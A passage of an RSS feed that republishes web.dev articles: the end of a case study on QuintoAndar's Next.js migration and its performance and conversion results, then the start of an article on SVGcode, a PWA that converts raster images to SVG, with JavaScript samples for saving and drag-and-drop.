https://web-dev.imgix.net/image/jL3OLOhcWUQDnR4XjewLBx4e3PC3/IAVpmg7O1Moxk8qA7zcq.png?auto=format&w=650 650w, https://web-dev.imgix.net/image/jL3OLOhcWUQDnR4XjewLBx4e3PC3/IAVpmg7O1Moxk8qA7zcq.png?auto=format&w=741 741w, https://web-dev.imgix.net/image/jL3OLOhcWUQDnR4XjewLBx4e3PC3/IAVpmg7O1Moxk8qA7zcq.png?auto=format&w=845 845w, https://web-dev.imgix.net/image/jL3OLOhcWUQDnR4XjewLBx4e3PC3/IAVpmg7O1Moxk8qA7zcq.png?auto=format&w=964 964w, https://web-dev.imgix.net/image/jL3OLOhcWUQDnR4XjewLBx4e3PC3/IAVpmg7O1Moxk8qA7zcq.png?auto=format&w=1098 1098w, https://web-dev.imgix.net/image/jL3OLOhcWUQDnR4XjewLBx4e3PC3/IAVpmg7O1Moxk8qA7zcq.png?auto=format&w=1252 1252w, https://web-dev.imgix.net/image/jL3OLOhcWUQDnR4XjewLBx4e3PC3/IAVpmg7O1Moxk8qA7zcq.png?auto=format&w=1428 1428w, https://web-dev.imgix.net/image/jL3OLOhcWUQDnR4XjewLBx4e3PC3/IAVpmg7O1Moxk8qA7zcq.png?auto=format&w=1600 1600w" width="800" />
</figure>
<figure>
  <img alt="A line graph with FID values comparing the new and previous versions during the current and past month. The curve for the new version stays below 100ms most of the time, while in the curve for the previous version there are a few spikes crossing 250ms." decoding="async" height="494" loading="lazy" sizes="(min-width: 800px) 800px, calc(100vw - 48px)" src="https://web-dev.imgix.net/image/jL3OLOhcWUQDnR4XjewLBx4e3PC3/QWkHnGHi4YTdBR6q17sw.png?auto=format" srcset="https://web-dev.imgix.net/image/jL3OLOhcWUQDnR4XjewLBx4e3PC3/QWkHnGHi4YTdBR6q17sw.png?auto=format&w=200 200w, https://web-dev.imgix.net/image/jL3OLOhcWUQDnR4XjewLBx4e3PC3/QWkHnGHi4YTdBR6q17sw.png?auto=format&w=228 228w, https://web-dev.imgix.net/image/jL3OLOhcWUQDnR4XjewLBx4e3PC3/QWkHnGHi4YTdBR6q17sw.png?auto=format&w=260 260w, https://web-dev.imgix.net/image/jL3OLOhcWUQDnR4XjewLBx4e3PC3/QWkHnGHi4YTdBR6q17sw.png?auto=format&w=296 296w, https://web-dev.imgix.net/image/jL3OLOhcWUQDnR4XjewLBx4e3PC3/QWkHnGHi4YTdBR6q17sw.png?auto=format&w=338 338w, https://web-dev.imgix.net/image/jL3OLOhcWUQDnR4XjewLBx4e3PC3/QWkHnGHi4YTdBR6q17sw.png?auto=format&w=385 385w, https://web-dev.imgix.net/image/jL3OLOhcWUQDnR4XjewLBx4e3PC3/QWkHnGHi4YTdBR6q17sw.png?auto=format&w=439 439w, https://web-dev.imgix.net/image/jL3OLOhcWUQDnR4XjewLBx4e3PC3/QWkHnGHi4YTdBR6q17sw.png?auto=format&w=500 500w, https://web-dev.imgix.net/image/jL3OLOhcWUQDnR4XjewLBx4e3PC3/QWkHnGHi4YTdBR6q17sw.png?auto=format&w=571 571w, https://web-dev.imgix.net/image/jL3OLOhcWUQDnR4XjewLBx4e3PC3/QWkHnGHi4YTdBR6q17sw.png?auto=format&w=650 650w, https://web-dev.imgix.net/image/jL3OLOhcWUQDnR4XjewLBx4e3PC3/QWkHnGHi4YTdBR6q17sw.png?auto=format&w=741 741w, https://web-dev.imgix.net/image/jL3OLOhcWUQDnR4XjewLBx4e3PC3/QWkHnGHi4YTdBR6q17sw.png?auto=format&w=845 845w, https://web-dev.imgix.net/image/jL3OLOhcWUQDnR4XjewLBx4e3PC3/QWkHnGHi4YTdBR6q17sw.png?auto=format&w=964 964w, https://web-dev.imgix.net/image/jL3OLOhcWUQDnR4XjewLBx4e3PC3/QWkHnGHi4YTdBR6q17sw.png?auto=format&w=1098 1098w, https://web-dev.imgix.net/image/jL3OLOhcWUQDnR4XjewLBx4e3PC3/QWkHnGHi4YTdBR6q17sw.png?auto=format&w=1252 1252w, https://web-dev.imgix.net/image/jL3OLOhcWUQDnR4XjewLBx4e3PC3/QWkHnGHi4YTdBR6q17sw.png?auto=format&w=1428 1428w, https://web-dev.imgix.net/image/jL3OLOhcWUQDnR4XjewLBx4e3PC3/QWkHnGHi4YTdBR6q17sw.png?auto=format&w=1600 1600w" width="800" />
  <figcaption>
    Field metrics results collected with Instana.
  </figcaption>
</figure>
<p><a href="https://pagespeed.web.dev/" rel="noopener">PageSpeed Insights</a> provides a field data report for the last 28 days. <a href="https://www.quintoandar.com.br/condominio/ed-copan-centro-historico-de-sao-paulo-sao-paulo-ndv7sq7j2d" rel="noopener">The most accessed condominium page</a> alone had enough data to generate a report for mobile users. As of November 2021, all Core Web Vitals are in the &quot;good&quot; bucket.</p>
<figure>
  <img alt="A screenshot of the PageSpeed Insights report focusing on the Field Data section. All Core Web Vitals metrics (FCP, FID, LCP, CLS) are in the good bucket." decoding="async" height="483" loading="lazy" sizes="(min-width: 800px) 800px, calc(100vw - 48px)" src="https://web-dev.imgix.net/image/jL3OLOhcWUQDnR4XjewLBx4e3PC3/83nulYFqSAAWNLLPHXut.png?auto=format" srcset="https://web-dev.imgix.net/image/jL3OLOhcWUQDnR4XjewLBx4e3PC3/83nulYFqSAAWNLLPHXut.png?auto=format&w=200 200w, https://web-dev.imgix.net/image/jL3OLOhcWUQDnR4XjewLBx4e3PC3/83nulYFqSAAWNLLPHXut.png?auto=format&w=228 228w, https://web-dev.imgix.net/image/jL3OLOhcWUQDnR4XjewLBx4e3PC3/83nulYFqSAAWNLLPHXut.png?auto=format&w=260 260w, https://web-dev.imgix.net/image/jL3OLOhcWUQDnR4XjewLBx4e3PC3/83nulYFqSAAWNLLPHXut.png?auto=format&w=296 296w, https://web-dev.imgix.net/image/jL3OLOhcWUQDnR4XjewLBx4e3PC3/83nulYFqSAAWNLLPHXut.png?auto=format&w=338 338w, https://web-dev.imgix.net/image/jL3OLOhcWUQDnR4XjewLBx4e3PC3/83nulYFqSAAWNLLPHXut.png?auto=format&w=385 385w, https://web-dev.imgix.net/image/jL3OLOhcWUQDnR4XjewLBx4e3PC3/83nulYFqSAAWNLLPHXut.png?auto=format&w=439 439w, https://web-dev.imgix.net/image/jL3OLOhcWUQDnR4XjewLBx4e3PC3/83nulYFqSAAWNLLPHXut.png?auto=format&w=500 500w, https://web-dev.imgix.net/image/jL3OLOhcWUQDnR4XjewLBx4e3PC3/83nulYFqSAAWNLLPHXut.png?auto=format&w=571 571w, https://web-dev.imgix.net/image/jL3OLOhcWUQDnR4XjewLBx4e3PC3/83nulYFqSAAWNLLPHXut.png?auto=format&w=650 650w, https://web-dev.imgix.net/image/jL3OLOhcWUQDnR4XjewLBx4e3PC3/83nulYFqSAAWNLLPHXut.png?auto=format&w=741 741w, https://web-dev.imgix.net/image/jL3OLOhcWUQDnR4XjewLBx4e3PC3/83nulYFqSAAWNLLPHXut.png?auto=format&w=845 845w, https://web-dev.imgix.net/image/jL3OLOhcWUQDnR4XjewLBx4e3PC3/83nulYFqSAAWNLLPHXut.png?auto=format&w=964 964w, https://web-dev.imgix.net/image/jL3OLOhcWUQDnR4XjewLBx4e3PC3/83nulYFqSAAWNLLPHXut.png?auto=format&w=1098 1098w, https://web-dev.imgix.net/image/jL3OLOhcWUQDnR4XjewLBx4e3PC3/83nulYFqSAAWNLLPHXut.png?auto=format&w=1252 1252w, https://web-dev.imgix.net/image/jL3OLOhcWUQDnR4XjewLBx4e3PC3/83nulYFqSAAWNLLPHXut.png?auto=format&w=1428 1428w, https://web-dev.imgix.net/image/jL3OLOhcWUQDnR4XjewLBx4e3PC3/83nulYFqSAAWNLLPHXut.png?auto=format&w=1600 1600w" width="800" />
  <figcaption>
    PageSpeed Insights shows that mobile users are having a good experience in the most accessed condominium page.
  </figcaption>
</figure>
<p>During the progressive roll-out, we noticed a drop in bounce rates. By the time we had finished the release for all pages, <a href="https://analytics.google.com/" rel="noopener">Google Analytics</a> showed a 46% decrease in bounce rate, a 87% increase in pages per session, and a 49% increase in average session duration. The bounce rate reduction was even bigger for paid searches, reaching a 59% drop — a positive sign when it comes to the investments in <a href="https://en.wikipedia.org/wiki/Pay-per-click" rel="noopener">pay-per click</a> (PPC) ads.</p>
<figure>
  <img alt="A screenshot of a graph from Google Analytics. It compares the bounce rates between two distinct periods in March 2021. Starting from March 17th, there is a slight drop in the bounce rate. The drop is accentuated on March 24th." decoding="async" height="169" loading="lazy" sizes="(min-width: 800px) 800px, calc(100vw - 48px)" src="https://web-dev.imgix.net/image/jL3OLOhcWUQDnR4XjewLBx4e3PC3/f31hvBafirHtDBlKINwI.png?auto=format" srcset="https://web-dev.imgix.net/image/jL3OLOhcWUQDnR4XjewLBx4e3PC3/f31hvBafirHtDBlKINwI.png?auto=format&w=200 200w, https://web-dev.imgix.net/image/jL3OLOhcWUQDnR4XjewLBx4e3PC3/f31hvBafirHtDBlKINwI.png?auto=format&w=228 228w, https://web-dev.imgix.net/image/jL3OLOhcWUQDnR4XjewLBx4e3PC3/f31hvBafirHtDBlKINwI.png?auto=format&w=260 260w, https://web-dev.imgix.net/image/jL3OLOhcWUQDnR4XjewLBx4e3PC3/f31hvBafirHtDBlKINwI.png?auto=format&w=296 296w, https://web-dev.imgix.net/image/jL3OLOhcWUQDnR4XjewLBx4e3PC3/f31hvBafirHtDBlKINwI.png?auto=format&w=338 338w, https://web-dev.imgix.net/image/jL3OLOhcWUQDnR4XjewLBx4e3PC3/f31hvBafirHtDBlKINwI.png?auto=format&w=385 385w, https://web-dev.imgix.net/image/jL3OLOhcWUQDnR4XjewLBx4e3PC3/f31hvBafirHtDBlKINwI.png?auto=format&w=439 439w, https://web-dev.imgix.net/image/jL3OLOhcWUQDnR4XjewLBx4e3PC3/f31hvBafirHtDBlKINwI.png?auto=format&w=500 500w, https://web-dev.imgix.net/image/jL3OLOhcWUQDnR4XjewLBx4e3PC3/f31hvBafirHtDBlKINwI.png?auto=format&w=571 571w, https://web-dev.imgix.net/image/jL3OLOhcWUQDnR4XjewLBx4e3PC3/f31hvBafirHtDBlKINwI.png?auto=format&w=650 650w, https://web-dev.imgix.net/image/jL3OLOhcWUQDnR4XjewLBx4e3PC3/f31hvBafirHtDBlKINwI.png?auto=format&w=741 741w, https://web-dev.imgix.net/image/jL3OLOhcWUQDnR4XjewLBx4e3PC3/f31hvBafirHtDBlKINwI.png?auto=format&w=845 845w, https://web-dev.imgix.net/image/jL3OLOhcWUQDnR4XjewLBx4e3PC3/f31hvBafirHtDBlKINwI.png?auto=format&w=964 964w, https://web-dev.imgix.net/image/jL3OLOhcWUQDnR4XjewLBx4e3PC3/f31hvBafirHtDBlKINwI.png?auto=format&w=1098 1098w, https://web-dev.imgix.net/image/jL3OLOhcWUQDnR4XjewLBx4e3PC3/f31hvBafirHtDBlKINwI.png?auto=format&w=1252 1252w, https://web-dev.imgix.net/image/jL3OLOhcWUQDnR4XjewLBx4e3PC3/f31hvBafirHtDBlKINwI.png?auto=format&w=1428 1428w, https://web-dev.imgix.net/image/jL3OLOhcWUQDnR4XjewLBx4e3PC3/f31hvBafirHtDBlKINwI.png?auto=format&w=1600 1600w" width="800" />
  <figcaption>
    Google Analytics shows the bounce rate decreasing as we rolled-out the new version in more pages.
  </figcaption>
</figure>
<p>As for the impact in business metrics, we analyzed conversion rates for transactions like scheduling a tour and applying to rent or buy an estate. While improvements were still being rolled out, our team compared the conversion between the previous and new versions. In the same week, the group of pages with the new version showed a 5% conversion increase, while the other pages had a slight decrease in the same metric.</p>
<figure>
  <img alt="Two line graphs side-by-side, each one comparing the conversion between the current and previous week. The left one is for the previous version of the page, showing the conversion curve for the current week is a bit below the one for the previous week. The right one is for the new version, and the conversion curve for the current week is a bit above the one for the previous week." decoding="async" height="447" loading="lazy" sizes="(min-width: 800px) 800px, calc(100vw - 48px)" src="https://web-dev.imgix.net/image/jL3OLOhcWUQDnR4XjewLBx4e3PC3/8duPNi2huaphIWCU7DBb.png?auto=format" srcset="https://web-dev.imgix.net/image/jL3OLOhcWUQDnR4XjewLBx4e3PC3/8duPNi2huaphIWCU7DBb.png?auto=format&w=200 200w, https://web-dev.imgix.net/image/jL3OLOhcWUQDnR4XjewLBx4e3PC3/8duPNi2huaphIWCU7DBb.png?auto=format&w=228 228w, https://web-dev.imgix.net/image/jL3OLOhcWUQDnR4XjewLBx4e3PC3/8duPNi2huaphIWCU7DBb.png?auto=format&w=260 260w, https://web-dev.imgix.net/image/jL3OLOhcWUQDnR4XjewLBx4e3PC3/8duPNi2huaphIWCU7DBb.png?auto=format&w=296 296w, https://web-dev.imgix.net/image/jL3OLOhcWUQDnR4XjewLBx4e3PC3/8duPNi2huaphIWCU7DBb.png?auto=format&w=338 338w, https://web-dev.imgix.net/image/jL3OLOhcWUQDnR4XjewLBx4e3PC3/8duPNi2huaphIWCU7DBb.png?auto=format&w=385 385w, https://web-dev.imgix.net/image/jL3OLOhcWUQDnR4XjewLBx4e3PC3/8duPNi2huaphIWCU7DBb.png?auto=format&w=439 439w, https://web-dev.imgix.net/image/jL3OLOhcWUQDnR4XjewLBx4e3PC3/8duPNi2huaphIWCU7DBb.png?auto=format&w=500 500w, https://web-dev.imgix.net/image/jL3OLOhcWUQDnR4XjewLBx4e3PC3/8duPNi2huaphIWCU7DBb.png?auto=format&w=571 571w, https://web-dev.imgix.net/image/jL3OLOhcWUQDnR4XjewLBx4e3PC3/8duPNi2huaphIWCU7DBb.png?auto=format&w=650 650w, https://web-dev.imgix.net/image/jL3OLOhcWUQDnR4XjewLBx4e3PC3/8duPNi2huaphIWCU7DBb.png?auto=format&w=741 741w, https://web-dev.imgix.net/image/jL3OLOhcWUQDnR4XjewLBx4e3PC3/8duPNi2huaphIWCU7DBb.png?auto=format&w=845 845w, https://web-dev.imgix.net/image/jL3OLOhcWUQDnR4XjewLBx4e3PC3/8duPNi2huaphIWCU7DBb.png?auto=format&w=964 964w, https://web-dev.imgix.net/image/jL3OLOhcWUQDnR4XjewLBx4e3PC3/8duPNi2huaphIWCU7DBb.png?auto=format&w=1098 1098w, https://web-dev.imgix.net/image/jL3OLOhcWUQDnR4XjewLBx4e3PC3/8duPNi2huaphIWCU7DBb.png?auto=format&w=1252 1252w, https://web-dev.imgix.net/image/jL3OLOhcWUQDnR4XjewLBx4e3PC3/8duPNi2huaphIWCU7DBb.png?auto=format&w=1428 1428w, https://web-dev.imgix.net/image/jL3OLOhcWUQDnR4XjewLBx4e3PC3/8duPNi2huaphIWCU7DBb.png?auto=format&w=1600 1600w" width="800" />
  <figcaption>
    In the same week, the conversion for the new version increased, while the previous version had a small decrease.
  </figcaption>
</figure>
<h2 id="conclusion">Conclusion <a class="w-headline-link" href="https://web.dev/quintoandar/#conclusion">#</a></h2>
<p>This project is the first part of a long-term migration effort from framework-less React to Next.js. The teams who worked on the condominium page since then gave positive feedback about the improved developer experience. Other teams who had to bootstrap new web apps have already done so with Next.js. We believe Next.js will simplify maintenance efforts and establish a common ground between different apps.</p>
<p>Overall, the condominium content hub has been continuously growing in terms of absolute number of users and transactions. In the long-term analysis, there are many factors contributing to this, like the expansion of QuintoAndar’s operation and SEO initiatives such as improved page indexing. During this project, we have seen that page performance is also one of these factors with great potential for positive conversion impact.</p>
<p><em>Special thanks to <a href="https://www.linkedin.com/in/pasrcarmo/" rel="noopener">Pedro Carmo</a>, Product Manager of the SEO team, for diving into the user data and creating all the conversion analysis seen in this case study.</em></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[SVGcode: a PWA to convert raster images to SVG vector graphics]]></title>
<description><![CDATA[In a hurry? Go straight to the SVGcode app and read the article later. 

      
  
    (If you prefer watching over reading, this article is also available as a video.)
  

From raster to vector #
Have you ever scaled an image and the result was pixelated and unsatisfactory? If
so, you have proba...]]></description>
<link>https://tsecurity.de/de/1725694/web-tipps/svgcode-a-pwa-to-convert-raster-images-to-svg-vector-graphics/</link>
<guid isPermaLink="true">https://tsecurity.de/de/1725694/web-tipps/svgcode-a-pwa-to-convert-raster-images-to-svg-vector-graphics/</guid>
<pubDate>Thu, 08 Dec 2022 19:45:05 +0100</pubDate>
<category>Web Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<aside class="aside flow bg-state-info-bg color-state-info-text"><div class=" flow"> In a hurry? Go <a href="https://svgco.de/">straight to the SVGcode app</a> and read the article later. </div></aside>
<figure data-size="full">
  <div class="youtube">  <lite-youtube videoid="kcvfyQh6J-0">  </lite-youtube></div>
  <figcaption>
    (If you prefer watching over reading, this article is also available as a <a href="https://youtu.be/kcvfyQh6J-0">video</a>.)
  </figcaption>
</figure>
<h2 id="from-raster-to-vector">From raster to vector <a class="w-headline-link" href="https://web.dev/svgcode/#from-raster-to-vector">#</a></h2>
<p>Have you ever scaled an image and the result was pixelated and unsatisfactory? If
so, you have probably dealt with a raster image format such as WebP, PNG, or JPG.</p>
<figure>
  <video autoplay="" loop="" muted="" playsinline="">      <source src="https://storage.googleapis.com/web-dev-uploads/video/8WbTDNrhLsU0El80frMBGE4eMCD3/bIiC6vyZLqgGWPuFF9od.mp4" type="video/mp4" />    </video>
  <figcaption>
    Scaling up a raster image makes it look pixelated.
  </figcaption>
</figure>
<p>In contrast, vector graphics are images that are defined by points in a coordinate system. These
points are connected by lines and curves to form polygons and other shapes. Vector graphics have an
advantage over raster graphics in that they may be scaled up or down to any resolution
without pixelation.</p>
<figure>
  <video autoplay="" loop="" muted="" playsinline="">      <source src="https://storage.googleapis.com/web-dev-uploads/video/8WbTDNrhLsU0El80frMBGE4eMCD3/yM32DfKFp8ooBAshjlUE.mp4" type="video/mp4" />    </video>
  <figcaption>
    Scaling up a vector image with no loss of quality.
  </figcaption>
</figure>
<h2 id="introducing-svgcode">Introducing SVGcode <a class="w-headline-link" href="https://web.dev/svgcode/#introducing-svgcode">#</a></h2>
<p>I have built a PWA called <a href="https://svgco.de/" rel="noopener">SVGcode</a> that can help you convert raster images to
vectors. Credit where credit is due: I didn't invent this. With SVGcode, I just stand on the
shoulders of a command line tool called <a href="http://potrace.sourceforge.net/" rel="noopener">Potrace</a> by
<a href="https://www.mathstat.dal.ca/~selinger/" rel="noopener">Peter Selinger</a> that I have
<a href="https://www.npmjs.com/package/esm-potrace-wasm" rel="noopener">converted to Web Assembly</a>, so it can be used in a
Web app.</p>
<figure>
  <img alt="SVGcode application screenshot." decoding="async" height="483" loading="lazy" sizes="(min-width: 800px) 800px, calc(100vw - 48px)" src="https://web-dev.imgix.net/image/8WbTDNrhLsU0El80frMBGE4eMCD3/xMosQFxacBsz116CcFwy.png?auto=format" srcset="https://web-dev.imgix.net/image/8WbTDNrhLsU0El80frMBGE4eMCD3/xMosQFxacBsz116CcFwy.png?auto=format&w=200 200w, https://web-dev.imgix.net/image/8WbTDNrhLsU0El80frMBGE4eMCD3/xMosQFxacBsz116CcFwy.png?auto=format&w=228 228w, https://web-dev.imgix.net/image/8WbTDNrhLsU0El80frMBGE4eMCD3/xMosQFxacBsz116CcFwy.png?auto=format&w=260 260w, https://web-dev.imgix.net/image/8WbTDNrhLsU0El80frMBGE4eMCD3/xMosQFxacBsz116CcFwy.png?auto=format&w=296 296w, https://web-dev.imgix.net/image/8WbTDNrhLsU0El80frMBGE4eMCD3/xMosQFxacBsz116CcFwy.png?auto=format&w=338 338w, https://web-dev.imgix.net/image/8WbTDNrhLsU0El80frMBGE4eMCD3/xMosQFxacBsz116CcFwy.png?auto=format&w=385 385w, https://web-dev.imgix.net/image/8WbTDNrhLsU0El80frMBGE4eMCD3/xMosQFxacBsz116CcFwy.png?auto=format&w=439 439w, https://web-dev.imgix.net/image/8WbTDNrhLsU0El80frMBGE4eMCD3/xMosQFxacBsz116CcFwy.png?auto=format&w=500 500w, https://web-dev.imgix.net/image/8WbTDNrhLsU0El80frMBGE4eMCD3/xMosQFxacBsz116CcFwy.png?auto=format&w=571 571w, https://web-dev.imgix.net/image/8WbTDNrhLsU0El80frMBGE4eMCD3/xMosQFxacBsz116CcFwy.png?auto=format&w=650 650w, https://web-dev.imgix.net/image/8WbTDNrhLsU0El80frMBGE4eMCD3/xMosQFxacBsz116CcFwy.png?auto=format&w=741 741w, https://web-dev.imgix.net/image/8WbTDNrhLsU0El80frMBGE4eMCD3/xMosQFxacBsz116CcFwy.png?auto=format&w=845 845w, https://web-dev.imgix.net/image/8WbTDNrhLsU0El80frMBGE4eMCD3/xMosQFxacBsz116CcFwy.png?auto=format&w=964 964w, https://web-dev.imgix.net/image/8WbTDNrhLsU0El80frMBGE4eMCD3/xMosQFxacBsz116CcFwy.png?auto=format&w=1098 1098w, https://web-dev.imgix.net/image/8WbTDNrhLsU0El80frMBGE4eMCD3/xMosQFxacBsz116CcFwy.png?auto=format&w=1252 1252w, https://web-dev.imgix.net/image/8WbTDNrhLsU0El80frMBGE4eMCD3/xMosQFxacBsz116CcFwy.png?auto=format&w=1428 1428w, https://web-dev.imgix.net/image/8WbTDNrhLsU0El80frMBGE4eMCD3/xMosQFxacBsz116CcFwy.png?auto=format&w=1600 1600w" width="800" />
  <figcaption>
    The <a href="https://svgco.de/">SVGcode</a> app.
  </figcaption>
</figure>
<h3 id="using-svgcode">Using SVGcode <a class="w-headline-link" href="https://web.dev/svgcode/#using-svgcode">#</a></h3>
<p>First, I want to show you how to use the app. I start with the teaser image for Chrome Dev Summit
that I downloaded from the ChromiumDev Twitter channel. This is a PNG raster image that I then
drag onto the SVGcode app. When I drop the file, the app traces the image color by color,
until a vectorized version of the input appears. I can now zoom into the image, and as you can see,
the edges stay sharp. But zooming in on the Chrome logo, you can see that the tracing wasn't
perfect, and especially the outlines of the logo look a bit speckled. I can improve the result by
de-speckling the tracing by suppressing speckles of up to, say, five pixels.</p>
<figure>
  <video autoplay="" loop="" muted="" playsinline="">      <source src="https://storage.googleapis.com/web-dev-uploads/video/8WbTDNrhLsU0El80frMBGE4eMCD3/WvmYtNTHAbINP3ec1h1w.mp4" type="video/mp4" />    </video>
  <figcaption>
    Converting a dropped image to SVG.
  </figcaption>
</figure>
<h3 id="posterization-in-svgcode">Posterization in SVGcode <a class="w-headline-link" href="https://web.dev/svgcode/#posterization-in-svgcode">#</a></h3>
<p>An important step for vectorization, especially for photographic images, is posterizing the input
image to reduce the number of colors. SVGcode allows me to do this per color channel, and see the
resulting SVG as I make changes. When I'm happy with the result, I can save the SVG to my hard disk
and use it wherever I like.</p>
<figure>
  <video autoplay="" loop="" muted="" playsinline="">      <source src="https://storage.googleapis.com/web-dev-uploads/video/8WbTDNrhLsU0El80frMBGE4eMCD3/BzcR6yPyuQ0TIgzwYbLy.mp4" type="video/mp4" />    </video>
  <figcaption>
    Posterizing an image to reduce the number of colors.
  </figcaption>
</figure>
<h2 id="apis-used-in-svgcode">APIs used in SVGcode <a class="w-headline-link" href="https://web.dev/svgcode/#apis-used-in-svgcode">#</a></h2>
<p>Now that you have seen what the app is capable of, let me show you some of the APIs that help make
the magic happen.</p>
<h3 id="progressive-web-app">Progressive Web App <a class="w-headline-link" href="https://web.dev/svgcode/#progressive-web-app">#</a></h3>
<p>SVGcode is an installable Progressive Web App and therefore fully offline enabled. The app is based
on the
<a href="https://github.com/vitejs/vite/tree/main/packages/create-vite/template-vanilla" rel="noopener">Vanilla JS template</a>
for <a href="https://github.com/vitejs/vite" rel="noopener">Vite.js</a> and uses the popular
<a href="https://github.com/antfu/vite-plugin-pwa" rel="noopener">Vite plugin PWA</a>, which creates a service worker that
uses <a href="https://developer.chrome.com/docs/workbox/" rel="noopener">Workbox.js</a> under the hood. Workbox is a set
of libraries that can power a production-ready service worker for Progressive Web Apps, This pattern
may not necessarily work for all apps, but for SVGcode's use case it's great.</p>
<h4 id="window-controls-overlay">Window Controls Overlay <a class="w-headline-link" href="https://web.dev/svgcode/#window-controls-overlay">#</a></h4>
<p>To maximize the available screen real estate, SVGcode uses
<a href="https://web.dev/window-controls-overlay/">Window Controls Overlay</a> customization by moving its main menu up into
the titlebar area. You can see this get activated at the end of the install flow.</p>
<figure>
  <video autoplay="" loop="" muted="" playsinline="">      <source src="https://storage.googleapis.com/web-dev-uploads/video/8WbTDNrhLsU0El80frMBGE4eMCD3/aDk3LFxexL6g2NbH4RCA.mp4" type="video/mp4" />    </video>
  <figcaption>
    Installing SVGcode and activating the Window Controls Overlay customization.
  </figcaption>
</figure>
<h3 id="file-system-access-api">File System Access API <a class="w-headline-link" href="https://web.dev/svgcode/#file-system-access-api">#</a></h3>
<p>To open input image files and save the resulting SVGs, I use the
<a href="https://web.dev/file-system-access/">File System Access API</a>. This allows me to keep a reference to previously
opened files and to continue where I left off, even after an app reload. Whenever an image gets
saved, it is optimized via the <a href="https://github.com/svg/svgo" rel="noopener">svgo</a> library, which may take a moment,
depending on the complexity of the SVG. Showing the file save dialog requires a user gesture. It is
therefore important to obtain the file handle before the SVG optimization happens, so the user
gesture is not invalidated by the time the optimized SVG is ready.</p>
<div><pre class="language-js"><code class="language-js"><span class="token keyword">try</span> <span class="token punctuation">{</span><br />  <span class="token keyword">let</span> svg <span class="token operator">=</span> svgOutput<span class="token punctuation">.</span>innerHTML<span class="token punctuation">;</span><br />  <span class="token keyword">let</span> handle <span class="token operator">=</span> <span class="token keyword">null</span><span class="token punctuation">;</span><br />  <span class="token comment">// To not consume the user gesture obtain the handle before preparing the</span><br />  <span class="token comment">// blob, which may take longer.</span><br />  <span class="token keyword">if</span> <span class="token punctuation">(</span>supported<span class="token punctuation">)</span> <span class="token punctuation">{</span><br />    handle <span class="token operator">=</span> <span class="token keyword">await</span> <span class="token function">showSaveFilePicker</span><span class="token punctuation">(</span><span class="token punctuation">{</span><br />      <span class="token literal-property property">types</span><span class="token operator">:</span> <span class="token punctuation">[</span><span class="token punctuation">{</span><span class="token literal-property property">description</span><span class="token operator">:</span> <span class="token string">'SVG file'</span><span class="token punctuation">,</span> <span class="token literal-property property">accept</span><span class="token operator">:</span> <span class="token punctuation">{</span><span class="token string-property property">'image/svg+xml'</span><span class="token operator">:</span> <span class="token punctuation">[</span><span class="token string">'.svg'</span><span class="token punctuation">]</span><span class="token punctuation">}</span><span class="token punctuation">}</span><span class="token punctuation">]</span><span class="token punctuation">,</span><br />    <span class="token punctuation">}</span><span class="token punctuation">)</span><span class="token punctuation">;</span><br />  <span class="token punctuation">}</span><br />  <span class="token function">showToast</span><span class="token punctuation">(</span>i18n<span class="token punctuation">.</span><span class="token function">t</span><span class="token punctuation">(</span><span class="token string">'optimizingSVG'</span><span class="token punctuation">)</span><span class="token punctuation">,</span> <span class="token number">Infinity</span><span class="token punctuation">)</span><span class="token punctuation">;</span><br />  svg <span class="token operator">=</span> <span class="token keyword">await</span> <span class="token function">optimizeSVG</span><span class="token punctuation">(</span>svg<span class="token punctuation">)</span><span class="token punctuation">;</span><br />  <span class="token function">showToast</span><span class="token punctuation">(</span>i18n<span class="token punctuation">.</span><span class="token function">t</span><span class="token punctuation">(</span><span class="token string">'savedSVG'</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span><br />  <span class="token keyword">const</span> blob <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">Blob</span><span class="token punctuation">(</span><span class="token punctuation">[</span>svg<span class="token punctuation">]</span><span class="token punctuation">,</span> <span class="token punctuation">{</span><span class="token literal-property property">type</span><span class="token operator">:</span> <span class="token string">'image/svg+xml'</span><span class="token punctuation">}</span><span class="token punctuation">)</span><span class="token punctuation">;</span><br />  <span class="token keyword">await</span> <span class="token function">fileSave</span><span class="token punctuation">(</span>blob<span class="token punctuation">,</span> <span class="token punctuation">{</span><span class="token literal-property property">description</span><span class="token operator">:</span> <span class="token string">'SVG file'</span><span class="token punctuation">}</span><span class="token punctuation">,</span> handle<span class="token punctuation">)</span><span class="token punctuation">;</span><br /><span class="token punctuation">}</span> <span class="token keyword">catch</span> <span class="token punctuation">(</span>err<span class="token punctuation">)</span> <span class="token punctuation">{</span><br />  console<span class="token punctuation">.</span><span class="token function">error</span><span class="token punctuation">(</span>err<span class="token punctuation">.</span>name<span class="token punctuation">,</span> err<span class="token punctuation">.</span>message<span class="token punctuation">)</span><span class="token punctuation">;</span><br />  <span class="token function">showToast</span><span class="token punctuation">(</span>err<span class="token punctuation">.</span>message<span class="token punctuation">)</span><span class="token punctuation">;</span><br /><span class="token punctuation">}</span></code></pre>
</div><h4 id="drag-an-drop">Drag an drop <a class="w-headline-link" href="https://web.dev/svgcode/#drag-an-drop">#</a></h4>
<p>For opening an input image, I can either use the file open feature, or, as you have seen above, just
drag and drop an image file onto the app. The file open feature is pretty straightforward, more
interesting is the drag and drop case. What's particularly nice about this is that you can
get a file system handle from the data transfer item via the
<a href="https://developer.mozilla.org/docs/Web/API/DataTransferItem/getAsFileSystemHandle" rel="noopener"><code>getAsFileSystemHandle()</code></a>
method. As mentioned before, I can persist this handle, so it's ready when the app gets reloaded.</p>
<div><pre class="language-js"><code class="language-js">document<span class="token punctuation">.</span><span class="token function">addEventListener</span><span class="token punctuation">(</span><span class="token string">'drop'</span><span class="token punctuation">,</span> <span class="token keyword">async</span> <span class="token punctuation">(</span><span class="token parameter">event</span><span class="token punctuation">)</span> <span class="token operator">=></span> <span class="token punctuation">{</span><br />  event<span class="token punctuation">.</span><span class="token function">preventDefault</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span><br />  dropContainer<span class="token punctuation">.</span>classList<span class="token punctuation">.</span><span class="token function">remove</span><span class="token punctuation">(</span><span class="token string">'dropenter'</span><span class="token punctuation">)</span><span class="token punctuation">;</span><br />  <span class="token keyword">const</span> item <span class="token operator">=</span> event<span class="token punctuation">.</span>dataTransfer<span class="token punctuation">.</span>items<span class="token punctuation">[</span><span class="token number">0</span><span class="token punctuation">]</span><span class="token 